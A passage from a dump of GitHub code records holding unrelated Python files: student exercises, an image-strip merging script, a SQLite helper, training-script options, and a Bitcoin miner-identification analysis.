1)\r\n q = question_list[cur_question]\r\n ask(q)\r\n if main_win.total >0:\r\n question_list.remove(question_list[cur_question])\r\n \r\n else:\r\n print('Тест завершён')\r\n text.setText('Тест завершен')\r\n lb_Result.setText('Ваш рейтинг: ' + str(round(main_win.score/main_win.total*100, 2)))\r\n lb_Correct.setText('Правильных ответов: ' +str( main_win.score) + ' из '+ str(main_win.total))\r\n btn.hide()\r\n\r\ndef click_OK():\r\n if btn.text() == 'Ответить':\r\n checked_answer()\r\n else:\r\n next_question()\r\n \r\n\r\n\r\nmain_win.cur_question = -1\r\n\r\n\r\nbtn.clicked.connect(click_OK)\r\nnext_question()\r\nmain_win.setLayout(main_line)\r\nmain_win.show()\r\napp.exec_()","repo_name":"clinBox/mmc","sub_path":"my_memory_card.py","file_name":"my_memory_card.py","file_ext":"py","file_size_in_byte":4912,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14987497500","text":"# 1. Написать функцию для вычисления суммы всех элементов вложенных (любая глубина) списков.\n# Пример списка (синтаксис Python): [1, 2, [2, 4, [[7, 8], 4, 6]]], сумма элементов - 34\n\nl = [1, 2, [2, 4, [[7, 8], 4, 6]]]\n#l = [1, 2, [2, 4, [[7, 10, 8], 4, 6]]]\n#l = [9]\n\ndef sum_recursion_list(l, counter = 0):\n for item in l:\n if type(item) == type([]):\n counter = counter + sum_recursion_list(item)\n else:\n counter = counter + item\n #print(item)\n #print(item)\n return counter\nprint(f\"Sum of all elements of nested lists = \", sum_recursion_list(l))\n\n\n\n# 2. Написать функцию для вычисления n первых чисел Фибоначчи.\n# Примеры вызова: \n# fib(5) -> 0,1,1,2,3\n# fib(10) -> 0,1,1,2,3,5,8,13,21,34\n\nn = 10 # номер элемента ряда Фибоначчи\n\ndef fib(n): \n if n in (1, 2):\n return 1\n if n == 0:\n return 0\n return fib(n-1) + fib(n-2)\n#print(fib(n)) #значение элемента\nprint(f\"{[fib(n) for n in range(n)]} Fibonacci series 'с 0' \") \nprint(f\"{[fib(n) for n in range(1,n+1)]} Fibonacci series 'no 0' \")\n\n\n","repo_name":"MikitaTsiarentsyeu/Md-PT1-50-22","sub_path":"Tasks/Churo/Task_5/Task_5.py","file_name":"Task_5.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"33776937825","text":"import requests\nfetchURL = \"https://script.google.com/macros/s/AKfycby1jPcLUng-UMQyvwOnqwbkIBh5zDg2ysIVihHHK9XWqSZbwXk/exec\"\ndef postData():\n serchperson = input()\n url = fetchURL+\"?text=\"+serchperson\n r = requests.get(url)\n data = list(map(str,r.text.split(\",\")))\n for i in range(len(data)):\n print(data[i]) \n\nif __name__ == \"__main__\":\n postData()","repo_name":"yasyasyu/findcontactperson","sub_path":"viewcontactperson.py","file_name":"viewcontactperson.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34697052240","text":"# coding=utf-8\n# 图片拼接问题(例如50个20*1000分割图片,拼合成一张1000*1000图片)\n# 通过r通道对相邻碎片之间的像素查进行比对并调参。主要是对r通道中值部分进行比对,从而得到差值最小的碎片组合。\n\nimport cv2\nimport os\nimport numpy\nimport copy\nimport itertools\nimport math\n\nimages = []\n\ndef judge(A, B):\n diff = 0\n for r in range(0, len(A)):\n #diff += (A[r][len(A[0]) - 1][0] - B[r][0])[0]\n #diff += (A[r][len(A[0]) - 1][1] - B[r][0])[1]\n diff += (A[r][len(A[0]) - 1][2] - B[r][0])[2] ** 0.25\n return diff\n\ndef combine(A, B):\n final_matrix = numpy.zeros((len(A), len(A[0]) + len(B[0]), 3), numpy.uint8)\n final_matrix[0:len(A), 0:len(A[0])] = A\n final_matrix[0:len(A), len(A[0]):len(A[0]) + len(B[0])] = B\n return final_matrix\n\nif __name__ == \"__main__\":\n f_images = os.listdir(\"./images\")\n for f_image in f_images:\n images.append(\n cv2.imread(\n \"images\\\\\" + f_image\n )\n )\n while len(images) > 1:\n min_entropy = -1\n to_combine = None\n for i in range(1, len(images)):\n entropy = judge(images[0], images[i])\n if min_entropy == -1 or entropy < min_entropy:\n min_entropy = entropy\n to_combine = i\n images[0] = combine(images[0], images[to_combine])\n print(len(images), len(images[0][0]))\n images.pop(to_combine)\n cv2.imwrite(\"./result.png\", images[0])","repo_name":"Threekiii/Awesome-CTF","sub_path":"scripts/misc/image_merge1.py","file_name":"image_merge1.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"48"} +{"seq_id":"33990031471","text":"class Solution:\n # @param A : integer\n # @return a list of strings\n def all_parens(self, n, s=\"\", opens=1, closes=0):\n if len(s) == n * 2:\n self.parens.append(s)\n else:\n if opens < n:\n self.all_parens(n, s + \"(\", opens + 1, closes)\n if closes < opens:\n self.all_parens(n, s + \")\", opens, closes + 1)\n\n def generateParenthesis(self, A):\n if A == 0:\n return []\n\n self.parens = []\n self.all_parens(A, \"(\")\n return self.parens\n","repo_name":"curiousTauseef/CodePath-Alumni-Interview-Prep-Course","sub_path":"interviewbit-backtracking-generate-all-parentheses-ii.py","file_name":"interviewbit-backtracking-generate-all-parentheses-ii.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"17228275631","text":"import argparse\r\nimport numpy as np\r\nimport os\r\nimport ast\r\n\r\n#NOTE: Still in the process of adding tensorboard support. everything is broken\r\ndef getArgs():\r\n '''Converts commandline arguments to dictionary of attributes\r\n \r\n Dictionary Keys and Default Values:\r\n\r\n activation_function -- function to be used in NN activations (default: 'relu')\r\n epochs -- number of times to iterate over training data (default: 100)\r\n batch_size -- number of data points in each mini-batch (default: 1024)\r\n input_size -- list containing the dimension of R and the dimension of the subspace (default: [4, 2])\r\n network_layers -- list containing the widths of each hidden layer and the output layer (default: 100 100 50 1)\r\n skip_connections -- boolean specifying whether to use skip connections or not\r\n learning_rate -- pretty self explanatory (default: .001)\r\n optimizer -- name of the keras optimizer to use (default: adam)\r\n loss_function -- specific function to measure loss on data points (default: 'mse' i.e. mean-squared)\r\n metric -- metric for measuring the performance of the NN (default: 'mae' i.e. mean-absolute')\r\n \r\n train_points -- specifies which data files to use for training data (default: 200000)\r\n train_points_version -- specifies the ending values of the dataset to be used (default: 'a')\r\n test_points -- specifies which data files to use for validation (default: 30000)\r\n test_points_version -- specifies the ending values of the dataset to be used (default: 'a')\r\n \r\n augment_lewicki -- (experimental) boolean for applying normalization of v/(1-2v) to data (default: False)\r\n augment_division -- augments input to the network with 1/x for each value (default: False)\r\n augment_zeros -- augment input to the network with columns of zeros (default: False)\r\n random -- boolean for randomizing constants relative to input vectors (default: False)\r\n \r\n kernel_regularization -- specifies how much to regularize the kernel (default: 0)\r\n activation_regularization -- specifies how much to regularize the activations (default: 0)\r\n bias_regularization -- specifies how much to regularize the biases (default: 0)\r\n \r\n file_prefix -- prefix to add to all files when outputting information (default: '')\r\n plot_error -- file name of where to plot the error history of the model (default: error.png)\r\n save_weights -- save the weights of the model after training (default: weights.h5)\r\n save_architecture -- save the architecture of the model after training (default: arch.json)\r\n save_history -- saves the entire history of the model during training (default: history.txt)\r\n\r\n reproducible -- boolean to specify the randomness seed for reproducible results (default: False)\r\n verbose -- integer storing the verbosity level to use (default: 0)\r\n information -- boolean which says to print out default commandline values and exit (default: False)\r\n send_mail -- send email from user at Arg1 to user at Arg2 (default: No email)\r\n \r\n config_file -- use configuration file holding parameters of program instead of commandline (default: None)\r\n batch_file -- file containing one dictionary of attributes on each line designed to be run in batches\r\n tensorboard_file -- use tensorboard configuration file to output tensorboard logs\r\n '''\r\n parser = argparse.ArgumentParser(description='Trains feedforward neural network')\r\n parser.add_argument('-a', '--activation_function', choices=['relu', 'softplus'], \r\n default='relu', help='activation functions for each non-output layer (default: relu)')\r\n parser.add_argument('-e', '--epochs', type=int, \r\n default=100, help='number of training rounds (default: 100)')\r\n parser.add_argument('-s', '--batch_size', type=int, \r\n default=1024, help='number of training points in each mini-batch (default: 256)')\r\n parser.add_argument('--input_size', nargs=2, type=int,\r\n default=[4, 2], help='dimension of R and subspace (default: 4 2)')\r\n parser.add_argument('-n', '--network_layers', nargs='*', type=int,\r\n default=[100, 100, 50, 1], help='widths of each hidden layer and the output layer (default: 100 100 1)')\r\n parser.add_argument('-l', '--learning_rate', type=float, \r\n default=.001, help='learning rate for optimizer (default: .001)')\r\n parser.add_argument('-o', '--optimizer', choices=['adam', 'rmsprop', 'sgd'], \r\n default='adam', help='optimizer for neural network (default: adam)')\r\n parser.add_argument('-f', '--loss_function', choices=['mse', 'mae', 'mape', 'msle', 'kld'], \r\n default='mae', help='loss function for neural network (default is mean-absolute)')\r\n parser.add_argument('-m', '--metric', choices=['mse', 'mae', 'mape', 'msle'], \r\n default='mae', help='metric for measuring performance (default is mean-absolute)')\r\n parser.add_argument('-d', '--train_points', type=int, \r\n default=200000, help='specifies which data files to use for training data (default: 200000)')\r\n parser.add_argument('--train_points_version', \r\n default='a', help='specifies which version of data file to use (default: \"a\")')\r\n parser.add_argument('-t', '--test_points', type=int, \r\n default=30000, help='number of test points NOT training points (default: 30000)')\r\n parser.add_argument('--test_points_version', \r\n default='a', help='specifies which version of testing data file to use (default: \"a\")')\r\n parser.add_argument('--augment_lewicki', action='store_true',\r\n help='augment input data with lewicki normalization of v/1-2v (default: false)')\r\n parser.add_argument('--augment_division', action='store_true',\r\n help='augment input data with 1/x for each value (default: false)')\r\n parser.add_argument('--augment_zeros', action='store_true',\r\n help='augment input data with columns of zeros (default: false)')\r\n parser.add_argument('--random', action='store_true',\r\n help='randomly shuffle input data instead of using properly labeled data (default: false)')\r\n parser.add_argument('--early_stopping', nargs=2, type=float, default=None,\r\n help='allows for early stopping and takes two arguments patience and min_delta (default: 10 0 when called)')\r\n\r\n parser.add_argument('--kernel_regularization', type=float,\r\n default=0, help='regularization for kernel (default: 0)')\r\n parser.add_argument('-r', '--activation_regularization', type=float,\r\n default=0, help='regularization constant for activations (default: 0)')\r\n parser.add_argument('-b', '--bias_regularization', type=float,\r\n default=0, help='regularization constant for biases (default: 0)')\r\n \r\n parser.add_argument('--file_prefix', default='',\r\n help='prefix to attach to all file names for output information (default: None)')\r\n parser.add_argument('-p', '--plot_error', nargs='?', const='error.png', default=None, \r\n help='plots the error and saves the .png file to given file name (default: error.png)')\r\n parser.add_argument('--save_weights', nargs='?', const='weights.hdf5', default=None,\r\n help='saves weights of model after training for reuse (default: weights.h5)')\r\n parser.add_argument('--save_architecture', nargs='?', const='arch.json', default=None,\r\n help='saves architecture of model after training for reuse (default: arch.json)')\r\n parser.add_argument('--save_history', nargs='?', const='history.txt', default=None,\r\n help='saves history of the model while training (default: history.txt)')\r\n\r\n parser.add_argument('--reproducible', action='store_true',\r\n help='sets rng to be the same (use to check for actual changes in performance)')\r\n parser.add_argument('-v', '--verbose', action='count',\r\n default=0, help='include extended debugging output')\r\n parser.add_argument('-i', '--information', action='store_true',\r\n help='print all default arguments and exit')\r\n parser.add_argument('--send_mail', nargs='?', default=None, const=['ryanm@math.tamu.edu', 'ryan_malthaner@tamu.edu'],\r\n help='send email notification from Arg1 to Arg2 once job is completed')\r\n parser.add_argument('--tensorboard_file', default=None,\r\n help='tensorboard file containing dictionary of attributes that go directly into tensorboard log function')\r\n \r\n config_group = parser.add_mutually_exclusive_group()\r\n config_group.add_argument('--config_file', \r\n default=None, help='use configuration file (dictionary format) instead of commandline')\r\n config_group.add_argument('--batch_file', \r\n help='specifies batch file to use for computation')\r\n\r\n network_group = parser.add_mutually_exclusive_group()\r\n network_group.add_argument('--skip_connections', action='store_true',\r\n help='specifies that skip connections are to be used for the network (default: False)')\r\n\r\n args = parser.parse_args()\r\n\r\n return vars(args)\r\n\r\ndef preprocessArgs(args):\r\n '''Do basic verbosity and configuration file processing'''\r\n if args['config_file']:\r\n with open(args['config_file'], 'r') as f:\r\n s = f.read()\r\n args = ast.literal_eval(s)\r\n \r\n if args['verbose'] >= 1:\r\n print(args)\r\n\r\n if args['information']:\r\n print(args)\r\n print('Exiting...')\r\n exit()\r\n \r\n return args\r\n\r\n#msgType: 1 ver\r\ndef printVMessage(msgs, vThreshold, verbosity):\r\n if vThreshold <= verbosity:\r\n for x in msgs:\r\n print(x)\r\n return\r\n\r\n#grab raw data from file\r\ndef getVecData(n, m, numPoints, version=\"a\"):\r\n '''Gets the raw vector data from VecData file\r\n \r\n Returns:\r\n vecData -- numPoints x n*m matrix\r\n '''\r\n vecFileName = os.path.join('..', 'VecData', 'vecs_' + str(n) + '_' + str(m) + '_' + str(numPoints) + '_' + version + '.txt')\r\n vecData = np.loadtxt(vecFileName)\r\n return vecData\r\n\r\n#grab raw data from file\r\ndef getConstData(n, m, numPoints, version=\"a\"):\r\n '''Gets the raw constant data from ConstData file\r\n \r\n Returns:\r\n constData -- numPoints x 1 vector\r\n '''\r\n constFileName = os.path.join('..', 'ConstData','const_' + str(n) + '_' + str(m) + '_' + str(numPoints) + '_' + version + '.txt')\r\n constData = np.loadtxt(constFileName)\r\n return constData\r\n\r\n#if a value is less than 1/2, ignore it\r\n","repo_name":"RyanMalt/ProjectionConstants","sub_path":"Code/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":10813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41956442258","text":"'''\nCreated on May 1, 2020\n\n@author: ballance\n'''\nfrom pssparser.model.data_type import DataType\nfrom pssparser.model.expr_id import ExprId\nfrom pssparser.model.expr_type import ExprType\n\nclass CovergroupCoverpoint(object):\n \n def __init__(self,\n data_type : DataType,\n name : ExprId,\n target : ExprType,\n iff : ExprType):\n self.data_type = data_type\n self.name = name\n self.target = target\n self.iff = iff \n self.bins = []\n \n def accept(self, v):\n v.visit_covergroup_coverpoint(self)\n ","repo_name":"PSSTools/pssparser","sub_path":"src/pssparser/model/covergroup_coverpoint.py","file_name":"covergroup_coverpoint.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"74655911824","text":"class DeterministicDie():\n value = None\n rolls = None\n def __init__(self):\n self.value = -1\n self.rolls = 0\n def roll(self):\n self.value = (self.value + 1) % 10\n self.rolls = self.rolls + 1\n return self.value + 1\n\n\ndie = DeterministicDie()\nfinish_score = 1000\np1_pos = 8\np2_pos = 4\np1_score = 0\np2_score = 0\n\n# while p1_score < 1000 and p2_score < 1000:\n\n#player 1 goes\nwhile True:\n #Player 1 rolls 1+2+3 and moves to space 10 for a total score of 10.\n print (f'Player 1 rolls ', end='')\n rolls = [die.roll() for i in range(3)]\n print (f'{rolls}', end='')\n move = sum(rolls)\n p1_pos = ((p1_pos + move -1 ) % 10) + 1\n print (f' and moves to space {p1_pos} for a total score of ', end='')\n p1_score = p1_score + p1_pos\n print(f'{p1_score}.')\n if p1_score >= finish_score:\n print(f'Player 1 WINS\\nP1 Score: {p1_score}\\nP2 Score: {p2_score}\\nDice Rolls: {die.rolls}')\n print(f'Game Score: {p2_score * die.rolls}')\n break\n\n\n #player 2 goes\n #Player 2 rolls 4+5+6 and moves to space 3 for a total score of 3.\n print (f'Player 2 rolls ', end='')\n rolls = [die.roll() for i in range(3)]\n print (f'{rolls}', end='')\n move = sum(rolls)\n p2_pos = ((p2_pos + move) % 10)\n print (f' and moves to space {p2_pos} for a total score of ', end='')\n p2_score = p2_score + p2_pos\n print(f'{p2_score}.')\n if p2_score >= finish_score:\n print(f'Player 2 WINS\\nP1 Score: {p1_score}\\nP2 Score: {p2_score}\\nDice Rolls: {die.rolls}')\n print(f'Game Score: {p2_score * die.rolls}')\n break","repo_name":"bpacke/AdventOfCode","sub_path":"2021/day21.py","file_name":"day21.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33887297760","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 22 10:53:17 2022\n\n@author: Filipe Pacheco\n\n\"\"\"\n\nimport math\n# Add any extra import statements you may need here\n\n\n# Add any helper functions you may need here\n\n\ndef minOperations(arr):\n # Write your code here\n max_int = 10\n arrs = arr.copy()\n arrs.sort() # sorted array\n output = 0\n while arrs != arr and output < max_int:\n aux = 0 # break point\n output += 1\n if arr[0] > arr[1]:\n aux_arr = arr[:2].copy()\n aux_arr.reverse()\n arr[:2] = aux_arr\n else:\n while arr[aux] < arr[aux+1] and aux < len(arr):\n aux += 1 \n \n aux_arr = arr[aux:].copy()\n aux_arr.reverse()\n arr[aux:] = aux_arr\n \n return output\n \n\n\n\n\n\n\n\n\n\n\n\n# These are the tests we use to determine if the solution is correct.\n# You can add your own at the bottom.\n\ndef printInteger(n):\n print('[', n, ']', sep='', end='')\n\ntest_case_number = 1\n\ndef check(expected, output):\n global test_case_number\n result = False\n if expected == output:\n result = True\n rightTick = '\\u2713'\n wrongTick = '\\u2717'\n if result:\n print(rightTick, 'Test #', test_case_number, sep='')\n else:\n print(wrongTick, 'Test #', test_case_number, ': Expected ', sep='', end='')\n printInteger(expected)\n print(' Your output: ', end='')\n printInteger(output)\n print()\n test_case_number += 1\n\nif __name__ == \"__main__\":\n n_1 = 5\n arr_1 = [1, 2, 5, 4, 3]\n expected_1 = 1\n output_1 = minOperations(arr_1)\n check(expected_1, output_1)\n\n n_2 = 3\n arr_2 = [3, 1, 2]\n expected_2 = 2\n output_2 = minOperations(arr_2)\n check(expected_2, output_2)\n \n # Add your own test cases here\n ","repo_name":"FilipePacheco73/BigTech_Training","sub_path":"Minimizing Permutations.py","file_name":"Minimizing Permutations.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74723897746","text":"import sqlite3\n\n# Header: create_database\n# This function initializes a sqlite database with the name equal to the passed in parameter\n# Input: name - The name of the database. ex \"test.db\" \n# Output: cur - a cursor that will allow the user to execute sql statements.\ndef create_database(name):\n\tconn = sqlite3.connect(name)\n\treturn conn\n\n#The promoter is the score and sequence\n\n# Header: create_tables\n# This function initializes the tables and view within the our database\n# input: a connection that is linked to the newly created database\n# output: Tables are created within the database.\ndef create_tables(conn):\n\tcur = conn.cursor()\n\tcur.execute('''CREATE TABLE operon (Sequence text)''')\n\tcur.execute('''CREATE TABLE gene (Location text, TaxID int, COGID int, RefGeneID int, RefGeneEvalue real, OperonID int, Operon_Pos int)''')\n\tcur.execute('''CREATE TABLE operon_gene_map (GeneID int, Operon_ID, int)''')\n\tcur.execute('''CREATE TABLE taxonomy (Domain text, Kingdom text, Phylum text, Class text, 'Order' text, Family text, Genus text, Species text)''')\n\tcur.execute('''CREATE TABLE cog (Name text, CategoryID int)''')\n\tcur.execute('''CREATE TABLE category (Category text)''')\n\tcur.execute('''CREATE TABLE cog_gene_map (GeneID int, COG_ID, int)''')\n\tcur.execute('''CREATE TABLE processing_parameters(Start int, End int, Evalue real, Sequence text, Intergenic_Distance int)''')\n\tcur.execute('''CREATE VIEW taxonomy_gene AS SELECT TaxID, COG, OperonID, Domain, Kingdom, Phylum, Class, 'Order', Family, Genus, Species FROM (gene join taxonomy) WHERE gene.TaxID=taxonomy.ROWID''')\n\n\n# Header: insert_into_table\n# This function initializes the tables and view within the our database\n# input: a connection that is linked with the database,\n#\t\t the name of the table to insert data,\n#\t\t The values to be inserted into the table \n#\t\tex. connection, \"gene\", (\"Test\", 1, 1, 1)\n# output: Tables are created within the database.\ndef insert_into_table(conn, table, values):\n\tcur = conn.cursor()\n\tstatement = \"INSERT INTO %s \" % table\n\tstatement += \"VALUES (\" + \",\".join('\"' + item + '\"' for item in values) + \")\"\n\tcur.execute(statement)\n\n# Header: close_connection\n# This function is suppose to commit all changes to the sqlite database and then close the connection\n# input: A connection that is linked to a database\n# Output: finialized changes to the database and the connection is closed.\ndef close_connection(conn):\n\tconn.commit()\n\tconn.close()\n\n# Header: select_from_table\n# This function well grab either everything or specified fields from a particular table\n# input: a connection that is linked to a database, the table name, the fields you want (array type), and special conditions\n# ex. connection, \"gene\", \"*\", \"Taxonomy = 1\"\n# ex2. connection, \"gene\", \"*\"\n# Output: a list containing all of the found search.\ndef select_from_table(conn, table,fields, conditions=None):\n\tcur = conn.cursor()\n\tstatement = \"SELECT * FROM %s\" % table\n\tif len(fields) > 1:\n\t\tstatement = \"SELECT %s FROM %s\" % (\",\".join(fields), table)\n\tif conditions != None:\n\t\tstatement += \" WHERE %s\" % conditions\n\tcur.execute(statement)\n\treturn cur.fetchall()\n\n","repo_name":"ErillLab/mg_database","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75070247824","text":"import pickle\nimport csv\nimport os\nimport numpy as np\nfrom datetime import datetime, timedelta\n\n'''\n\nClass to detect the miners.\n\nInput:\n- genesis pickle dictionary (created with genesis-redemption-stats.py Genesis class)\n- redemption pickle dictionary (created with redeem-dict-creator) \n- pickled-bitcoin-redeem_tx data set (dictionary stored in block logic)\n- pickled-bitcoin-redeem-2_tx data set (created with redemption-parser.py) (dictionary stored in block logic)\n\nOutput:\n- Miner csv overview of each case (1-4)\n- Miner vector with 1's for miner and 0's for non-miner\n\n'''\n\n\nclass MinerIdentifier:\n def __init__(self, start, end, case, genesis_txs, miningpools, minimise_user_heur_1, minimise_user_heur_2s, minervector, redemption_txs=None):\n self.block_dir = \"UH-bitcoin-heur_0\"\n self.redeemed_dir = \"pickled-bitcoin-redeem_tx\"\n self.redeemed_2_dir = \"pickled-bitcoin-redeem-2_tx\"\n\n self.case = case\n self.genesis_txs = genesis_txs\n self.miningpools = miningpools\n self.minimise_user_heur_1 = minimise_user_heur_1\n self.minimise_user_heur_2s = minimise_user_heur_2s\n self.minervector = minervector\n self.miners = [[\"Mined Block\", \"Time\", \"Address, User, BTC in\", \"BTC total\", \"Redemption Block\", \"Redemption transaction Hash\",\n \"Total Miners\", \"Mining Pool\", \"Days to redeem\", \"Heuristic\"]]\n self.redemption_txs = redemption_txs\n\n self.start = start\n self.current = start\n self.end = end\n self.genesis_req = 10\n self.redeemed_req = 20\n self.redeemed_2_req = 20\n self.redeem_time = timedelta(days=5)\n\n\n def load_id(self, id):\n outdir_name = \"%s/%.3d\"%(self.block_dir, id/1000)\n return pickle.load(open(\"%s/%d.pickle\" % (outdir_name, id), \"r\"))\n\n\n def load_redeem(self, id):\n outdir_name = \"%s/%.3d\" % (self.redeemed_dir, id/1000)\n if os.path.exists(\"%s/%d.pickle\" % (outdir_name, id)):\n foo, ret, foo = pickle.load(open(\"%s/%d.pickle\" % (outdir_name, id), \"r\"))\n return ret\n else:\n return None\n\n\n def load_redeem_2(self, id):\n outdir_name = \"%s/%.3d\" % (self.redeemed_2_dir, id / 1000)\n if os.path.exists(\"%s/%d.pickle\" % (outdir_name, id)):\n ret = pickle.load(open(\"%s/%d.pickle\" % (outdir_name, id), \"r\"))\n return ret\n else:\n return None\n\n\n def get_user(self, address): # returns user to fit the heur_2s data\n user1 = self.minimise_user_heur_1[address]\n user2 = self.minimise_user_heur_2s[user1]\n return user2\n\n\n def get_miners(self, tx_out):\n tx_total_output = 0\n total_miners = 0\n miners = []\n\n for recipient in tx_out:\n address, user, tx_output = recipient[0], self.get_user(recipient[0]), recipient[1]\n miners.append((address, user, tx_output))\n self.minervector[user] = 1\n tx_total_output += tx_output\n total_miners += 1\n\n return miners, tx_total_output, total_miners\n\n\n def process_all(self):\n if self.case == 1:\n print(\"processing case 1\")\n self.process_case_1()\n self.save()\n\n if self.case == 2:\n print(\"processing case 2\")\n while self.current < self.end:\n self.process_case_2(self.current)\n self.current += 1\n self.save()\n\n if self.case == 3:\n print(\"processing case 3\")\n while self.current < self.end:\n self.process_case_3(self.current)\n self.current += 1\n self.save()\n\n if self.case == 4:\n print(\"processing case 4\")\n self.process_case_4()\n self.save()\n\n if self.case == 5:\n print(\"processing case 5\")\n self.process_case_5()\n self.save()\n\n '''\n while self.current < self.end:\n self.process_case_5(self.current)\n self.current += 1\n self.save()\n '''\n\n def process_case_1(self):\n txs_redeemed = []\n\n for hash in self.genesis_txs:\n genesis_tx = self.genesis_txs[hash]\n recipients = genesis_tx[1]\n block = genesis_tx[0]\n time = genesis_tx[2]\n if len(recipients) > self.genesis_req:\n\n miners, tx_total_output, total_miners = self.get_miners(recipients)\n\n self.miners.append([block, time, miners, tx_total_output, block, hash, total_miners,\n self.miningpools[str(block)], 0, 1])\n\n txs_redeemed.append(hash)\n print(\"Miners of blk %d added\" % block)\n\n for origin_tx in txs_redeemed:\n del self.genesis_txs[origin_tx]\n\n\n\n def process_case_2(self, id):\n redeem_txs = self.load_redeem(id) # load the redeeming txs in the blk\n if redeem_txs is None:\n return\n\n blk = self.load_id(id)\n\n for (transaction_hash, transaction_fee, transaction_size, transaction_input,\n transaction_output) in blk.transactions:\n\n if not redeem_txs.has_key(transaction_hash):\n continue\n\n if len(transaction_output) >= self.redeemed_req:\n redeem_tx = redeem_txs[transaction_hash]\n for (origin_tx, foo, bar) in redeem_tx[2]:\n if not self.genesis_txs.has_key(origin_tx):\n continue\n\n genesis_tx = self.genesis_txs[origin_tx]\n time_genesis = datetime.strptime(genesis_tx[2], \"%Y-%m-%d %H:%M:%S\")\n time_redeem = datetime.strptime(blk.time, \"%Y-%m-%d %H:%M:%S\")\n time_to_redeem = time_redeem - time_genesis\n\n if len(genesis_tx[1]) <= 2 and time_to_redeem <= self.redeem_time: # changed to <= 2 to include those special cases in year 2017\n\n miners, tx_total_output, total_miners = self.get_miners(transaction_output)\n\n self.miners.append([genesis_tx[0], genesis_tx[2], miners, tx_total_output, id, transaction_hash,\n total_miners, self.miningpools[str(genesis_tx[0])], time_to_redeem, 2])\n\n print(\"Miners of blk %d added\" % genesis_tx[0])\n del self.genesis_txs[origin_tx]\n\n\n\n def process_case_3(self, id):\n redeem_2_txs = self.load_redeem_2(id)\n\n if redeem_2_txs is None:\n return\n\n blk = self.load_id(id)\n\n for (transaction_hash, transaction_fee, transaction_size, transaction_input,\n transaction_output) in blk.transactions:\n\n if not redeem_2_txs.has_key(transaction_hash):\n continue\n\n if len(transaction_output) > self.redeemed_2_req:\n (redeem_2_blk, redeem_2_time, redeem_2_origin) = redeem_2_txs[transaction_hash]\n\n for (redeem_1_block, redeem_1_hash) in redeem_2_origin:\n redeem_1_tx = self.redemption_txs[redeem_1_hash]\n\n (redeem_1_blk, redeem_1_output, redeem_1_origin) = redeem_1_tx\n if len(redeem_1_output) < self.redeemed_req:\n for (genesis_blk, genesis_hash) in redeem_1_origin:\n if not self.genesis_txs.has_key(genesis_hash):\n continue\n\n genesis_tx = self.genesis_txs[genesis_hash]\n time_genesis = datetime.strptime(genesis_tx[2], \"%Y-%m-%d %H:%M:%S\")\n time_redeem = datetime.strptime(blk.time, \"%Y-%m-%d %H:%M:%S\")\n time_to_redeem = time_redeem - time_genesis\n\n if len(genesis_tx[1]) <= 2 and time_to_redeem <= self.redeem_time: # changed to <= 2 to include those special cases in year 2017\n\n miners, tx_total_output, total_miners = self.get_miners(transaction_output)\n\n self.miners.append([genesis_blk, genesis_tx[2], miners, tx_total_output, id, transaction_hash, total_miners,\n self.miningpools[str(genesis_blk)], time_to_redeem, 3])\n\n print(\"Miners of blk %d added\" % genesis_blk)\n del self.genesis_txs[genesis_hash]\n\n\n def process_case_4(self):\n txs_redeemed = []\n\n for genesis_hash in self.genesis_txs: # loop through not redeemed genesis txs with case 1-3\n genesis_tx = self.genesis_txs[genesis_hash]\n recipients = genesis_tx[1]\n block = genesis_tx[0]\n time = genesis_tx[2]\n miners, tx_total_output, total_miners = self.get_miners(recipients)\n\n if not self.miningpools[str(block)]: # check if dict value is empty ('') -> no mining pool was involved in the first place\n self.miners.append([block, time, miners, tx_total_output, block, genesis_hash, total_miners,\n 'no pool', 0, 4])\n\n txs_redeemed.append(genesis_hash)\n print(\"Miners of blk %d added\" % block)\n\n for origin_tx in txs_redeemed:\n del self.genesis_txs[origin_tx]\n\n\n def process_case_5(self):\n for genesis_hash in self.genesis_txs:\n genesis_tx = self.genesis_txs[genesis_hash]\n time = genesis_tx[2]\n self.miners.append([genesis_tx[0], time, \"NA\", \"NA\", \"NA\", \"NA\", \"NA\", self.miningpools[str(genesis_tx[0])], \"NA\", 5])\n\n\n '''\n def process_case_5(self, id):\n \n \n redeem_txs = self.load_redeem(id) # load the redeeming txs in the blk\n if redeem_txs is None:\n return\n\n blk = self.load_id(id)\n\n for (transaction_hash, transaction_fee, transaction_size, transaction_input,\n transaction_output) in blk.transactions:\n\n if not redeem_txs.has_key(transaction_hash):\n continue\n\n redeem_tx = redeem_txs[transaction_hash]\n for (origin_tx, foo, bar) in redeem_tx[2]:\n if not self.genesis_txs.has_key(origin_tx):\n continue\n\n miners, tx_total_output, total_miners = self.get_miners(transaction_output)\n genesis_tx = self.genesis_txs[origin_tx]\n time_genesis = datetime.strptime(genesis_tx[2], \"%Y-%m-%d %H:%M:%S\")\n time_redeem = datetime.strptime(blk.time, \"%Y-%m-%d %H:%M:%S\")\n time_to_redeem = time_redeem - time_genesis\n\n self.miners.append([genesis_tx[0], miners, tx_total_output, id, transaction_hash, total_miners,\n self.miningpools[str(genesis_tx[0])], time_to_redeem, 2])\n\n print(\"Miners of blk %d added\" % genesis_tx[0])\n '''\n\n\n def save(self):\n with open('Miner-csv/case-%s-%d-%d.csv' % 